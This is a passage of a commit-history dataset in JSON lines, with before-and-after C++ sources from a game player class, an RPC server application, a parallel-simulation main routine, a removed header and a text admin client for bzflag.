    using namespace dsl;\n\n        const int COLLAPSE_TIME = 100;\n        m_circle.animate<Circle::Radius>(from(config::PLAYER_INIT_RADIUS).to(0.0f).during(COLLAPSE_TIME));\n        m_splat.splat(m_circle.value<Circle::Position>(), 500.0);\n    }\n}\n\nbool Player::fits(const sf::FloatRect &rect) const\n{\n    const auto center = m_circle.value<Circle::Position>();\n\n    const std::array<float, 4> ds = {\n        std::abs(rect.top - center.y),\n        std::abs(rect.top + rect.height - 1 - center.y),\n        std::abs(rect.left - center.x),\n        std::abs(rect.left + rect.width - 1 - center.x)\n    };\n\n    return rect.contains(center) && std::all_of(ds.begin(), ds.end(), [this](float d) {\n            return m_circle.value<Circle::Radius>() < d;\n    });\n}\n\nbool Player::isDead() const\n{\n    return m_dead;\n}\n<commit_msg>Implement gamma correction for player<commit_after>#include <SFML\/Audio\/Sound.hpp>\n#include <beatwave\/player.hpp>\n#include <beatwave\/config.hpp>\n#include <core\/util.hpp>\n#include <core\/dsl.hpp>\n\nPlayer::Player(const sf::Vector2f &position):\n    m_circle(config::PLAYER_INIT_RADIUS,\n             position,\n             config::PLAYER_INIT_COLOR),\n    m_splat(20),\n    m_dead(false)\n{}\n\nvoid Player::tick(int32_t deltaTime)\n{\n    m_circle.tick(deltaTime);\n    m_splat.tick(deltaTime);\n}\n\nvoid Player::render(sf::RenderTarget *renderTarget) const\n{\n    m_circle.render(renderTarget);\n    m_splat.render(renderTarget);\n}\n\nvoid Player::step(const sf::Color &flashColor,\n                  const sf::Vector2f direction,\n                  sf::Sound *sound)\n{\n    using namespace dsl;\n\n    if (!m_dead) {\n        m_circle.animate<Circle::Color>(\n            map<FloatColor, sf::Color>(from(uncompressColor(flashColor))\n                                       .to(uncompressColor(config::PLAYER_INIT_COLOR))\n                                       .during(config::COLOR_TIME),\n                                       compressColor, uncompressColor));\n\n        m_circle.animate<Circle::Position>(from(m_circle.value<Circle::Position>())\n                                           .by(direction)\n                                           .during(config::MOVE_TIME));\n\n        sound->play();\n    } else {\n        reset();\n    }\n}\n\nvoid Player::centerView(sf::RenderTarget *renderTarget) const\n{\n    renderTarget->setView(sf::View(m_circle.value<Circle::Position>(), renderTarget->getView().getSize()));\n}\n\nvoid Player::reset()\n{\n    using namespace dsl;\n\n    m_circle.animate<Circle::Position>(set(config::PLAYER_INIT_POSITION));\n    m_circle.animate<Circle::Color>(set(config::PLAYER_INIT_COLOR));\n    m_circle.animate<Circle::Radius>(set(config::PLAYER_INIT_RADIUS));\n    m_dead = false;\n}\n\nvoid Player::kill()\n{\n    if (!m_dead) {\n        m_circle.stop();\n        m_dead = true;\n\n        using namespace dsl;\n\n        const int COLLAPSE_TIME = 100;\n        m_circle.animate<Circle::Radius>(from(config::PLAYER_INIT_RADIUS).to(0.0f).during(COLLAPSE_TIME));\n        m_splat.splat(m_circle.value<Circle::Position>(), 500.0);\n    }\n}\n\nbool Player::fits(const sf::FloatRect &rect) const\n{\n    const auto center = m_circle.value<Circle::Position>();\n\n    const std::array<float, 4> ds = {\n        std::abs(rect.top - center.y),\n        std::abs(rect.top + rect.height - 1 - center.y),\n        std::abs(rect.left - center.x),\n        std::abs(rect.left + rect.width - 1 - center.x)\n    };\n\n    return rect.contains(center) && std::all_of(ds.begin(), ds.end(), [this](float d) {\n            return m_circle.value<Circle::Radius>() < d;\n    });\n}\n\nbool Player::isDead() const\n{\n    return m_dead;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"vtrc-asio.h\"\n\n#include \"vtrc-application.h\"\n\n#include \"vtrc-common\/vtrc-connection-list.h\"\n\n#include \"vtrc-common\/vtrc-enviroment.h\"\n#include \"vtrc-common\/vtrc-rpc-service-wrapper.h\"\n#include \"vtrc-common\/vtrc-pool-pair.h\"\n\nnamespace vtrc { namespace server {\n\n    namespace {\n        namespace gpb = google::protobuf;\n        static\n        vtrc::shared_ptr<gpb::Service>\n        default_factory( common::connection_iface *, const std::string & )\n        {\n            return vtrc::shared_ptr<gpb::Service>( );\n        }\n\n        typedef common::protocol_iface::call_type call_type;\n    }\n\n    struct application::impl {\n\n        common::enviroment         env_;\n        VTRC_ASIO::io_service     *ios_;\n        const bool                 own_ios_;\n\n        VTRC_ASIO::io_service     *rpc_ios_;\n        const bool                 own_rpc_ios_;\n\n        vtrc::shared_ptr<common::connection_list> clients_;\n\n        service_factory_type        factory_;\n\n        impl( const impl & );\n        impl & operator = ( const impl & );\n\n        impl( )\n            :ios_(new VTRC_ASIO::io_service)\n            ,own_ios_(true)\n            ,rpc_ios_(ios_)\n            ,own_rpc_ios_(false)\n            ,clients_(common::connection_list::create( ))\n            ,factory_(&default_factory)\n        { }\n\n        impl( VTRC_ASIO::io_service *ios )\n            :ios_(ios)\n            ,own_ios_(false)\n            ,rpc_ios_(ios)\n            ,own_rpc_ios_(false)\n            ,clients_(common::connection_list::create( ))\n            ,factory_(&default_factory)\n        { }\n\n        impl( VTRC_ASIO::io_service *ios, VTRC_ASIO::io_service *rpc_ios )\n            :ios_(ios)\n            ,own_ios_(false)\n            ,rpc_ios_(rpc_ios)\n            ,own_rpc_ios_(false)\n            ,clients_(common::connection_list::create( ))\n            ,factory_(&default_factory)\n        { }\n\n        static bool close_all_connection( common::connection_iface_sptr next )\n        {\n            next->close( );\n            return true;\n        }\n\n        void stop_all_clients( )\n        {\n            clients_->foreach_while( close_all_connection );\n        }\n\n        ~impl( )\n        { try {\n\n            stop_all_clients( );\n            clients_->clear( );\n\n            if( own_ios_ )     delete ios_;\n            if( own_rpc_ios_ ) delete rpc_ios_;\n\n        } catch ( ... ) {\n            ;;;\n        } }\n\n        common::enviroment &get_enviroment( )\n        {\n            return env_;\n        }\n\n        VTRC_ASIO::io_service &get_io_service( )\n        {\n            return *ios_;\n        }\n\n        VTRC_ASIO::io_service &get_rpc_service( )\n        {\n            return *rpc_ios_;\n        }\n\n        vtrc::shared_ptr<common::connection_list> get_clients( )\n        {\n            return clients_;\n        }\n\n    };\n\n    application::application(  )\n        :impl_(new impl)\n    { }\n\n    application::application(common::pool_pair &pools)\n        :impl_(new impl(&pools.get_io_service( ), &pools.get_rpc_service( )))\n    {\n\n    }\n\n    application::application( VTRC_ASIO::io_service &ios )\n        :impl_(new impl(&ios))\n    { }\n\n    application::application( VTRC_ASIO::io_service &ios,\n                              VTRC_ASIO::io_service &rpc_ios)\n        :impl_(new impl(&ios, &rpc_ios))\n    { }\n\n    application::~application( )\n    {\n        delete impl_;\n    }\n\n    void application::stop_all_clients( )\n    {\n        impl_->stop_all_clients( );\n    }\n\n    common::enviroment &application::get_enviroment( )\n    {\n        return impl_->get_enviroment( );\n    }\n\n    VTRC_ASIO::io_service &application::get_io_service( )\n    {\n        return impl_->get_io_service( );\n    }\n\n    VTRC_ASIO::io_service &application::get_rpc_service( )\n    {\n        return impl_->get_rpc_service( );\n    }\n\n    const common::enviroment &application::get_enviroment( )  const\n    {\n        return impl_->get_enviroment( );\n    }\n1\n    const VTRC_ASIO::io_service &application::get_io_service( )  const\n    {\n        return impl_->get_io_service( );\n    }\n\n    const VTRC_ASIO::io_service &application::get_rpc_service( ) const\n    {\n        return impl_->get_rpc_service( );\n    }\n\n    vtrc::shared_ptr<common::connection_list> application::get_clients()\n    {\n        return impl_->get_clients( );\n    }\n\n    void application::execute( common::protocol_iface::call_type call )\n    {\n        impl_->rpc_ios_->post( call );\n    }\n\n    void application::assign_service_factory( service_factory_type factory )\n    {\n        impl_->factory_ = factory ? factory : &default_factory;\n    }\n\n    void application::configure_session( common::connection_iface *  \/*c*\/,\n                                         rpc::session_options & \/*opts*\/ )\n    {\n        \/\/\/ use default settings\n    }\n\n    common::rpc_service_wrapper_sptr application::get_service_by_name(\n                                    common::connection_iface * connection,\n                                    const std::string &        service_name)\n    {\n        vtrc::shared_ptr<gpb::Service> svc =\n                     impl_->factory_( connection, service_name );\n        return svc ? vtrc::make_shared<common::rpc_service_wrapper>( svc )\n                   : common::rpc_service_wrapper_sptr( );\n    }\n\n    std::string application::get_session_key(common::connection_iface * \/*c*\/,\n                                             const std::string & \/*id*\/ )\n    {\n        return std::string( );\n    }\n\n    bool application::session_key_required( common::connection_iface * \/*conn*\/,\n                                            const std::string & \/*id*\/)\n    {\n        return false;\n    }\n\n}}\n<commit_msg>FAIL BUILD test<commit_after>\n#include \"vtrc-asio.h\"\n\n#include \"vtrc-application.h\"\n\n#include \"vtrc-common\/vtrc-connection-list.h\"\n\n#include \"vtrc-common\/vtrc-enviroment.h\"\n#include \"vtrc-common\/vtrc-rpc-service-wrapper.h\"\n#include \"vtrc-common\/vtrc-pool-pair.h\"\n\nnamespace vtrc { namespace server {\n\n    namespace {\n        namespace gpb = google::protobuf;\n        static\n        vtrc::shared_ptr<gpb::Service>\n        default_factory( common::connection_iface *, const std::string & )\n        {\n            return vtrc::shared_ptr<gpb::Service>( );\n        }\n\n        typedef common::protocol_iface::call_type call_type;\n    }\n\n    struct application::impl {\n\n        common::enviroment         env_;\n        VTRC_ASIO::io_service     *ios_;\n        const bool                 own_ios_;\n\n        VTRC_ASIO::io_service     *rpc_ios_;\n        const bool                 own_rpc_ios_;\n\n        vtrc::shared_ptr<common::connection_list> clients_;\n\n        service_factory_type        factory_;\n\n        impl( const impl & );\n        impl & operator = ( const impl & );\n\n        impl( )\n            :ios_(new VTRC_ASIO::io_service)\n            ,own_ios_(true)\n            ,rpc_ios_(ios_)\n            ,own_rpc_ios_(false)\n            ,clients_(common::connection_list::create( ))\n            ,factory_(&default_factory)\n        { }\n\n        impl( VTRC_ASIO::io_service *ios )\n            :ios_(ios)\n            ,own_ios_(false)\n            ,rpc_ios_(ios)\n            ,own_rpc_ios_(false)\n            ,clients_(common::connection_list::create( ))\n            ,factory_(&default_factory)\n        { }\n\n        impl( VTRC_ASIO::io_service *ios, VTRC_ASIO::io_service *rpc_ios )\n            :ios_(ios)\n            ,own_ios_(false)\n            ,rpc_ios_(rpc_ios)\n            ,own_rpc_ios_(false)\n            ,clients_(common::connection_list::create( ))\n            ,factory_(&default_factory)\n        { }\n\n        static bool close_all_connection( common::connection_iface_sptr next )\n        {\n            next->close( );\n            return true;\n        }\n\n        void stop_all_clients( )\n        {\n            clients_->foreach_while( close_all_connection );\n        }\n\n        ~impl( )\n        { try {\n\n            stop_all_clients( );\n            clients_->clear( );\n\n            if( own_ios_ )     delete ios_;\n            if( own_rpc_ios_ ) delete rpc_ios_;\n\n        } catch ( ... ) {\n            ;;;\n        } }\n\n        common::enviroment &get_enviroment( )\n        {\n            return env_;\n        }\n\n        VTRC_ASIO::io_service &get_io_service( )\n        {\n            return *ios_;\n        }\n\n        VTRC_ASIO::io_service &get_rpc_service( )\n        {\n            return *rpc_ios_;\n        }\n\n        vtrc::shared_ptr<common::connection_list> get_clients( )\n        {\n            return clients_;\n        }\n\n    };\n\n    application::application(  )\n        :impl_(new impl)\n    { }\n\n    application::application(common::pool_pair &pools)\n        :impl_(new impl(&pools.get_io_service( ), &pools.get_rpc_service( )))\n    {\n\n    }\n\n    application::application( VTRC_ASIO::io_service &ios )\n        :impl_(new impl(&ios))\n    { }\n\n    application::application( VTRC_ASIO::io_service &ios,\n                              VTRC_ASIO::io_service &rpc_ios)\n        :impl_(new impl(&ios, &rpc_ios))\n    { }\n\n    application::~application( )\n    {\n        delete impl_;\n    }\n\n    void application::stop_all_clients( )\n    {\n        impl_->stop_all_clients( );\n    }\n\n    common::enviroment &application::get_enviroment( )\n    {\n        return impl_->get_enviroment( );\n    }\n\n    VTRC_ASIO::io_service &application::get_io_service( )\n    {\n        return impl_->get_io_service( );\n    }\n\n    VTRC_ASIO::io_service &application::get_rpc_service( )\n    {\n        return impl_->get_rpc_service( );\n    }\n\n    const common::enviroment &application::get_enviroment( )  const\n    {\n        return impl_->get_enviroment( );\n    }\n\n    const VTRC_ASIO::io_service &application::get_io_service( )  const\n    {\n        return impl_->get_io_service( );\n    }\n\n    const VTRC_ASIO::io_service &application::get_rpc_service( ) const\n    {\n        return impl_->get_rpc_service( );\n    }\n\n    vtrc::shared_ptr<common::connection_list> application::get_clients()\n    {\n        return impl_->get_clients( );\n    }\n\n    void application::execute( common::protocol_iface::call_type call )\n    {\n        impl_->rpc_ios_->post( call );\n    }\n\n    void application::assign_service_factory( service_factory_type factory )\n    {\n        impl_->factory_ = factory ? factory : &default_factory;\n    }\n\n    void application::configure_session( common::connection_iface *  \/*c*\/,\n                                         rpc::session_options & \/*opts*\/ )\n    {\n        \/\/\/ use default settings\n    }\n\n    common::rpc_service_wrapper_sptr application::get_service_by_name(\n                                    common::connection_iface * connection,\n                                    const std::string &        service_name)\n    {\n        vtrc::shared_ptr<gpb::Service> svc =\n                     impl_->factory_( connection, service_name );\n        return svc ? vtrc::make_shared<common::rpc_service_wrapper>( svc )\n                   : common::rpc_service_wrapper_sptr( );\n    }\n\n    std::string application::get_session_key(common::connection_iface * \/*c*\/,\n                                             const std::string & \/*id*\/ )\n    {\n        return std::string( );\n    }\n\n    bool application::session_key_required( common::connection_iface * \/*conn*\/,\n                                            const std::string & \/*id*\/)\n    {\n        return false;\n    }\n\n}}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ See copyright notice in file Copyright in the root directory of this archive.\n\n#include \"warped.h\"\n#include \"Application.h\"\n#include \"WarpedMain.h\"\n#include \"SimulationConfiguration.h\"\n#include \"Simulation.h\"\n#include \"Spinner.h\"\n#include <string>\n#include <fstream>\n#include <iostream>\n#include <unistd.h>\n#include <sstream>\n#include <cstdio>\n#include <algorithm>\n\n\/\/ We need these to register their deserializers\n#include \"CirculateInitializationMessage.h\"\n#include \"DeserializerManager.h\"\n#include \"EventMessage.h\"\n#include \"GVTUpdateMessage.h\"\n#include \"InitializationMessage.h\"\n#include \"IntVTime.h\"\n#include \"MatternGVTMessage.h\"\n#include \"NegativeEventMessage.h\"\n#include \"NegativeEvent.h\"\n#include \"RestoreCkptMessage.h\"\n#include \"StartMessage.h\"\n#include \"TerminateToken.h\"\n#include \"WarpedMain.h\"\n\nusing std::string;\nusing std::fstream;\nusing std::ofstream;\nusing std::ifstream;\nusing std::istringstream;\nusing std::cout;\nusing std::cerr;\nusing std::cin;\nusing std::endl;\n\n\/\/ maximum length of command line arguments\n#define MAX_COMMAND_LINE_LENGTH 256\n\nArgumentParser::ArgRecord *\nWarpedMain::getArgumentList( WarpedMain &main ) {\n  static ArgumentParser::ArgRecord args[] = {\n    {\"-configuration\", \"specify configuration file\", &main.configurationFileName,\n     ArgumentParser::STRING, false},\n    {\"-simulateUntil\", \"specify a simulation end time\", &main.simulateUntil,\n     ArgumentParser::STRING, false},\n    {\"-debug\", \"display debug messages\", &main.debugFlag, \n     ArgumentParser::BOOLEAN, false},\n    {\"\", \"\"}\n  };\n    \n  return args;\n};\n\nWarpedMain::WarpedMain( Application *initApplication ) :\n  errors( 0 ),\n  warnings( 0 ),\n  configurationFileName( \"\" ),\n  debugFlag( false ),\n  simulateUntil( \"\" ),\n  myApplication( initApplication ),\n  mySimulation( 0 ){}\n\nWarpedMain::~WarpedMain()\n{\n\tdelete mySimulation;\n\tdelete myApplication;\n}\n\nvoid\nWarpedMain::displayParameters( string executableName ){\n  ArgumentParser ap( getArgumentList( *this ) );\n  ap.printUsage( executableName, cerr );\n}\n\nbool\nWarpedMain::checkConfigFile( string configFileName ){\n  string choice;\n  if( configFileName == \"\" ){\n    cerr << \"A Simulation Configuration File has not been specified\" << endl;\n    cerr << \"Shall I create a default configuration: [y\/n]: \";\n    cin >> choice;\n    \/\/ we are going to uppercase whatever the choice is ...\n    string upChoice = choice;\n    std::transform(upChoice.begin(), upChoice.end(), upChoice.begin(),(int(*)(int)) std::toupper);\n            \n    if( upChoice == \"Y\" ){\n      cerr << \"Creating default configuration file: simulation.conf\"\n\t   << endl;\n      cerr << \"This has not been implemented yet ...\" << endl;\n      exit(-1);\n    }\n  }\n  return true;\n}\n\nvoid\nWarpedMain::registerKernelDeserializers(){\n  CirculateInitializationMessage::registerDeserializer();\n  EventMessage::registerDeserializer();\n  GVTUpdateMessage::registerDeserializer();\n  InitializationMessage::registerDeserializer();\n  IntVTime::registerDeserializer();\n  MatternGVTMessage::registerDeserializer();\n  NegativeEvent::registerDeserializer();\n  NegativeEventMessage::registerDeserializer();\n  RestoreCkptMessage::registerDeserializer();\n  StartMessage::registerDeserializer();\n  TerminateToken::registerDeserializer();\n}\n\nvector<string>\nWarpedMain::buildArgumentVector( int argc, char **argv ){\n  vector<string> retval;\n  for( int i = 0; i < argc; i++ ){\n    retval.push_back( string( argv[i] ) );\n  }\n  return retval;\n}\n\nSimulationConfiguration *\nWarpedMain::readConfiguration( const string &configurationFileName,\n\t\t\t       const vector<string> &argumentVector ){\n  SimulationConfiguration *configuration = 0;\n  if( configurationFileName != \"\" ){\n    if( checkConfigFile( configurationFileName ) == false ){\n      cerr << \"Can't read configuration file \" << configurationFileName << endl;\n      exit( -1 );\n    }\n    configuration = SimulationConfiguration::parseConfiguration( configurationFileName,\n\t\t\t\t\t\t\t\t argumentVector );\n    if( configuration == 0 ){\n      cerr << \"There was a problem parsing configuration \" << configurationFileName\n\t   << \", exiting.\" << endl;\n      exit( -1 );\n    } else {\n      cerr << \"Using configuration file: \" << configurationFileName << endl;\n    }\n  }\n  return configuration;\n}\n\nvoid\nWarpedMain::initializeSimulation( vector<string> &commandLineArgs ){\n  registerKernelDeserializers();\n  myApplication->registerDeserializers();\n\n  ArgumentParser ap( getArgumentList( *this ));\n  ap.checkArgs( commandLineArgs, false );\n\n  if( debugFlag == true ){\n    utils::enableDebug();\n    utils::debug << \"Debug output enabled with -debug\" << endl;\n  }\n\n  SimulationConfiguration *configuration =\n          readConfiguration( configurationFileName, commandLineArgs );\n\n  if( configuration != 0 ){\n    Spinner::spinIfRequested( \"SpinBeforeConfiguration\", *configuration );\n  }\n  \/\/ We have to let the application initialize before we can do much else.\n  myApplication->initialize( commandLineArgs );\n\n  \/\/ else, configuration is NULL, and we'll run with a default configuration\n  mySimulation = Simulation::instance( configuration, myApplication );\n  mySimulation->initialize();\n\n\n  delete configuration;\n}\n\nvoid\nWarpedMain::simulate( const VTime &simulateUntil ){\n  mySimulation->simulate( simulateUntil );\n}\n\nbool\nWarpedMain::simulationComplete( ){\n  return mySimulation->simulationComplete();\n}\n\nvoid\nWarpedMain::finalize(){\n  mySimulation->finalize();\n}\n\nconst VTime &\nWarpedMain::getCommittedTime(){\n  return mySimulation->getCommittedTime();\n}\n\nconst VTime &\nWarpedMain::getNextEventTime(){\n  return mySimulation->getNextEventTime();\n}\n\n\nint \nWarpedMain::main( int argc, char **argv ){\n  vector<string> args = buildArgumentVector( argc, argv );\n  initializeSimulation( args );\n    \n  if (simulateUntil == \"\") {\n    simulate( myApplication->getPositiveInfinity() );\n  }\n  else {\n    simulate( myApplication->getTime(simulateUntil));\n  }\n\n  finalize();\n\n  return errors;\n}\n<commit_msg>fixing TCPSelect<commit_after>\/\/ See copyright notice in file Copyright in the root directory of this archive.\n\n#include \"warped.h\"\n#include \"Application.h\"\n#include \"WarpedMain.h\"\n#include \"SimulationConfiguration.h\"\n#include \"Simulation.h\"\n#include \"Spinner.h\"\n#include <string>\n#include <fstream>\n#include <iostream>\n#include <unistd.h>\n#include <sstream>\n#include <cstdio>\n#include <algorithm>\n\n\/\/ We need these to register their deserializers\n#include \"CirculateInitializationMessage.h\"\n#include \"DeserializerManager.h\"\n#include \"EventMessage.h\"\n#include \"GVTUpdateMessage.h\"\n#include \"InitializationMessage.h\"\n#include \"IntVTime.h\"\n#include \"MatternGVTMessage.h\"\n#include \"NegativeEventMessage.h\"\n#include \"NegativeEvent.h\"\n#include \"RestoreCkptMessage.h\"\n#include \"StartMessage.h\"\n#include \"TerminateToken.h\"\n#include \"WarpedMain.h\"\n\nusing std::string;\nusing std::fstream;\nusing std::ofstream;\nusing std::ifstream;\nusing std::istringstream;\nusing std::cout;\nusing std::cerr;\nusing std::cin;\nusing std::endl;\n\n\/\/ maximum length of command line arguments\n#define MAX_COMMAND_LINE_LENGTH 256\n\nArgumentParser::ArgRecord *\nWarpedMain::getArgumentList( WarpedMain &main ) {\n  static ArgumentParser::ArgRecord args[] = {\n    {\"-configuration\", \"specify configuration file\", &main.configurationFileName,\n     ArgumentParser::STRING, false},\n    {\"-simulateUntil\", \"specify a simulation end time\", &main.simulateUntil,\n     ArgumentParser::STRING, false},\n    {\"-debug\", \"display debug messages\", &main.debugFlag, \n     ArgumentParser::BOOLEAN, false},\n    {\"\", \"\"}\n  };\n    \n  return args;\n};\n\nWarpedMain::WarpedMain( Application *initApplication ) :\n  errors( 0 ),\n  warnings( 0 ),\n  configurationFileName( \"\" ),\n  debugFlag( false ),\n  simulateUntil( \"\" ),\n  myApplication( initApplication ),\n  mySimulation( 0 ){}\n\nWarpedMain::~WarpedMain()\n{\n\tdelete mySimulation;\n\tdelete myApplication;\n}\n\nvoid\nWarpedMain::displayParameters( string executableName ){\n  ArgumentParser ap( getArgumentList( *this ) );\n  ap.printUsage( executableName, cerr );\n}\n\nbool\nWarpedMain::checkConfigFile( string configFileName ){\n  string choice;\n  if( configFileName == \"\" ){\n    cerr << \"A Simulation Configuration File has not been specified\" << endl;\n    cerr << \"Shall I create a default configuration: [y\/n]: \";\n    cin >> choice;\n    \/\/ we are going to uppercase whatever the choice is ...\n    string upChoice = choice;\n    std::transform(upChoice.begin(), upChoice.end(), upChoice.begin(),(int(*)(int)) std::toupper);\n            \n    if( upChoice == \"Y\" ){\n      cerr << \"Creating default configuration file: simulation.conf\"\n\t   << endl;\n      cerr << \"This has not been implemented yet ...\" << endl;\n      exit(-1);\n    }\n  }\n  return true;\n}\n\nvoid\nWarpedMain::registerKernelDeserializers(){\n  CirculateInitializationMessage::registerDeserializer();\n  EventMessage::registerDeserializer();\n  GVTUpdateMessage::registerDeserializer();\n  InitializationMessage::registerDeserializer();\n  IntVTime::registerDeserializer();\n  MatternGVTMessage::registerDeserializer();\n  NegativeEvent::registerDeserializer();\n  NegativeEventMessage::registerDeserializer();\n  RestoreCkptMessage::registerDeserializer();\n  StartMessage::registerDeserializer();\n  TerminateToken::registerDeserializer();\n}\n\nvector<string>\nWarpedMain::buildArgumentVector( int argc, char **argv ){\n  vector<string> retval;\n  for( int i = 0; i < argc; i++ ){\n    retval.push_back( string( argv[i] ) );\n  }\n  return retval;\n}\n\nSimulationConfiguration *\nWarpedMain::readConfiguration( const string &configurationFileName,\n\t\t\t       const vector<string> &argumentVector ){\n  SimulationConfiguration *configuration = 0;\n  if( configurationFileName != \"\" ){\n    if( checkConfigFile( configurationFileName ) == false ){\n      cerr << \"Can't read configuration file \" << configurationFileName << endl;\n      exit( -1 );\n    }\n    configuration = SimulationConfiguration::parseConfiguration( configurationFileName,\n\t\t\t\t\t\t\t\t argumentVector );\n    if( configuration == 0 ){\n      cerr << \"There was a problem parsing configuration \" << configurationFileName\n\t   << \", exiting.\" << endl;\n      exit( -1 );\n    } else {\n      cerr << \"Using configuration file: \" << configurationFileName << endl;\n    }\n  }\n  return configuration;\n}\n\nvoid\nWarpedMain::initializeSimulation( vector<string> &commandLineArgs ){\n  registerKernelDeserializers();\n  myApplication->registerDeserializers();\n\n  \/\/ need to save this this for TCPSelect before ArgumentParser cannibalizes it.\n  \/\/ TCPSelect uses it to build the argument list for ssh when launching \n  \/\/ \"slave\" simulation managers\n  vector<string> argsCopy(commandLineArgs);\n\n  ArgumentParser ap( getArgumentList( *this ));\n  ap.checkArgs( commandLineArgs, false );\n\n  if( debugFlag == true ){\n    utils::enableDebug();\n    utils::debug << \"Debug output enabled with -debug\" << endl;\n  }\n\n  SimulationConfiguration *configuration =\n          readConfiguration( configurationFileName, argsCopy );\n\n  if( configuration != 0 ){\n    Spinner::spinIfRequested( \"SpinBeforeConfiguration\", *configuration );\n  }\n  \/\/ We have to let the application initialize before we can do much else.\n  myApplication->initialize( commandLineArgs );\n\n  \/\/ else, configuration is NULL, and we'll run with a default configuration\n  mySimulation = Simulation::instance( configuration, myApplication );\n  mySimulation->initialize();\n\n\n  delete configuration;\n}\n\nvoid\nWarpedMain::simulate( const VTime &simulateUntil ){\n  mySimulation->simulate( simulateUntil );\n}\n\nbool\nWarpedMain::simulationComplete( ){\n  return mySimulation->simulationComplete();\n}\n\nvoid\nWarpedMain::finalize(){\n  mySimulation->finalize();\n}\n\nconst VTime &\nWarpedMain::getCommittedTime(){\n  return mySimulation->getCommittedTime();\n}\n\nconst VTime &\nWarpedMain::getNextEventTime(){\n  return mySimulation->getNextEventTime();\n}\n\n\nint \nWarpedMain::main( int argc, char **argv ){\n  vector<string> args = buildArgumentVector( argc, argv );\n  initializeSimulation( args );\n    \n  if (simulateUntil == \"\") {\n    simulate( myApplication->getPositiveInfinity() );\n  }\n  else {\n    simulate( myApplication->getTime(simulateUntil));\n  }\n\n  finalize();\n\n  return errors;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef ASSIGNEMENTBO_HH\n#define ASSIGNEMENTBO_HH\n#include <tr1\/unordered_set>\nusing namespace std::tr1;\n\nclass ProcessBO;\nclass MachineBO;\n\nclass AssignementBO{\n    private:\n        unordered_map<ProcessBO*, MachineBO*> assignement_m;\n};\n\n#endif\n<commit_msg>Suppression de l'entete de AssignementBO, car cette classe est definitivement inutile<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#ifdef _MSC_VER\n#pragma warning( 4: 4786)\n#endif\n\n#include <stdio.h>\n#include <iostream>\n#include <map>\n#include <string>\n\n#include \"BZAdminClient.h\"\n#include \"BZAdminUI.h\"\n#include \"OptionParser.h\"\n#include \"UIMap.h\"\n\n\/\/ causes persistent rebuilding to obtain build versioning\n#include \"version.h\"\n\nint debugLevel = 0;\n\n\n#ifdef _WIN32\nvoid Player::setDeadReckoning()\n{\n}\n#endif\n\/** @file\n    This is the main file for bzadmin, the bzflag text client.\n*\/\n\n\nint main(int argc, char** argv) {\n  bool earlyQuit = false;\n\n  \/\/ FIXME - build this into OptionParser (VariableSimple parser?)\n  if ((argc > 1) && (strcmp (argv[1], \"-q\") == 0)) {\n    earlyQuit = true;\n    argv[1] = argv[0]; \/\/ eat the option\n    argv++;\n    argc--;\n  }\n\n#ifdef _WIN32\n  \/\/ startup winsock\n  {\n    static const int major = 2, minor = 2;\n    WSADATA wsaData;\n    if (WSAStartup(MAKEWORD(major, minor), &wsaData)) {\n      return 1;\n    }\n    if (LOBYTE(wsaData.wVersion) != major ||\n\tHIBYTE(wsaData.wVersion) != minor) {\n      WSACleanup();\n      return 1;\n    }\n  }\n#endif\n  \/\/ command line options\n  std::string uiName(\"curses\");\n  std::vector<std::string> visibleMsgs;\n  std::vector<std::string> invisibleMsgs;\n  \n  \/\/ no curses, use stdboth as default instead\n  const UIMap& interfaces = UIMap::instance();\n  if (interfaces.find(\"curses\") == interfaces.end())\n    uiName = \"stdboth\";\n\n  \/\/ build a usage string with all interfaces\n  UIMap::const_iterator uiIter;\n  std::string uiUsage;\n  for (uiIter = interfaces.begin(); uiIter != interfaces.end(); ++uiIter)\n    uiUsage += uiIter->first + '|';\n  uiUsage = std::string(\"[-ui \") + uiUsage.substr(0, uiUsage.size() - 1) + ']';\n\n  \/\/ register and parse command line arguments\n  OptionParser op(std::string(\"bzadmin \") + getAppVersion(),\n\t\t  \"CALLSIGN@HOST[:PORT] [COMMAND] [COMMAND] ...\");\n  const std::string uiOption(\"ui\");\n  const std::string uiMsg = \"choose a user interface\";\n  op.registerVariable(uiOption, uiName, uiUsage, uiMsg);\n  op.registerVector(\"show\", visibleMsgs, \"[-show msgtype{,msgtype}*]\",\n\t\t      \"tell bzadmin to show these message types\");\n  op.registerVector(\"hide\", invisibleMsgs, \"[-hide msgtype{,msgtype}*]\",\n\t\t      \"tell bzadmin not to show these message types\");\n  if (!op.parse(argc, argv))\n    return 1;\n  \n  \/\/ check that we have callsign and host in the right format and extract them\n  int atPos;\n  std::string name = \"\", host = \"\";\n  if (!(op.getParameters().size() > 0 &&\n\t(atPos = op.getParameters()[0].find('@')) > 0)) {\n    \/\/ input callsign and host interactively\n    std::cout << \"No callsign@host specified.  Please input them\" << std::endl;\n    std::cout << \"Callsign: \";\n    std::cin >> name;\n    if (name.size() <= 1) {\n      std::cerr << \"You must specify a callsign.  Exiting.\" << std::endl;\n      return 1;\n    }\n    std::cout << \"Server to connect to: \";\n    std::cin >> host;\n    if (host.size() <= 1) {\n      std::cerr << \"You must specify a host name to connect to.  Exiting.\" << std::endl;\n      return 1;\n    }\n  } else { \/\/ callsign\/host on command line\n    name = op.getParameters()[0].substr(0, atPos);\n    host = op.getParameters()[0].substr(atPos + 1);\n  }\n  \n  int port = ServerPort;\n  int cPos = host.find(':');\n  if (cPos != -1) {\n    port = atoi(host.substr(cPos + 1).c_str());\n    host = host.substr(0, cPos);\n  }\n\n  \/\/ check that the ui is valid\n  uiIter = UIMap::instance().find(uiName);\n  if (uiIter == UIMap::instance().end()) {\n    std::cerr<<\"There is no interface called \\\"\"<<uiName<<\"\\\".\"<<std::endl;\n    return 1;\n  }\n\n  \/\/ try to connect\n  BZAdminClient client(name, host, port);\n  if (!client.isValid())\n    return 1;\n  unsigned int i;\n  for (i = 0; i < visibleMsgs.size(); ++i)\n    client.showMessageType(visibleMsgs[i]);\n  for (i = 0; 